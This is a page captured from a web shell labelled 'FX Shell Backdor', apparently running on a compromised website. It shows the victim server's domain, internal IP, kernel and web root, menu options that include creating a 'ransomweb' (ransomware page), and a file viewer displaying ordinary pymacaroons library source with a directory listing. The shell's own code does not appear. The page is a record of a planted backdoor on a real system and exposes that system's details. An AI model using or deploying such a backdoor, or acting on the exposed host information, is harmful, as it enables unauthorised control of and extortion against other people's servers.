FX Shell Backdor

Website : vivehg.com

Ip Address : 172.31.2.149

Port : 443

Kernel : Linux 52-72-122-155.cprapid.com 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 06:59:36 UTC 2025 x86_64

Protokol : HTTP/1.1

Save Data :

Koneksi :

Server : Apache

Root : /home/vivehg/public_html

G-Interface : CGI/1.1

R-Method : GET

Browser : Lainnya

Version Shell : 1.0 (Release candidate)

Author : FierzaXploit/Mr.MF33

PATH : /lib/python3/dist-packages/pymacaroons/

Buat File

Buat Folder

Buat Ransomweb

from base64 import standard_b64encode

from pymacaroons.utils import convert_to_string, convert_to_bytes

class Caveat(object):

def __init__(self,
                 caveat_id=None,
                 verification_key_id=None,
                 location=None,
                 version=None):
        from pymacaroons.macaroon import MACAROON_V1
        self.caveat_id = caveat_id
        self.verification_key_id = verification_key_id
        self.location = location
        if version is None:
            version = MACAROON_V1
        self._version = version

@property
    def caveat_id(self):
        from pymacaroons.macaroon import MACAROON_V1
        if self._version == MACAROON_V1:
            return convert_to_string(self._caveat_id)
        return self._caveat_id

@property
    def caveat_id_bytes(self):
        return self._caveat_id

@property
    def verification_key_id(self):
        return self._verification_key_id

@property
    def location(self):
        return convert_to_string(self._location)

@caveat_id.setter
    def caveat_id(self, value):
        self._caveat_id = convert_to_bytes(value)

@verification_key_id.setter
    def verification_key_id(self, value):
        self._verification_key_id = convert_to_bytes(value)

@location.setter
    def location(self, value):
        self._location = convert_to_bytes(value)

def first_party(self):
        return self._verification_key_id is None

def third_party(self):
        return self._verification_key_id is not None

def to_dict(self):
        try:
            cid = convert_to_string(self.caveat_id)
        except UnicodeEncodeError:
            cid = convert_to_string(standard_b64encode(self.caveat_id_bytes))
        return {
            'cid': cid,
            'vid': (
                standard_b64encode(self.verification_key_id)
                if self.verification_key_id else None
            ),
            'cl': self.location
        }

Type	Name	options
	__pycache__
	binders
	caveat_delegates
	field_encryptors
	serializers
	__init__.py
	__pycache__
	binders
	caveat.py
	caveat_delegates
	exceptions.py
	field_encryptors
	macaroon.py
	serializers
	utils.py
	verifier.py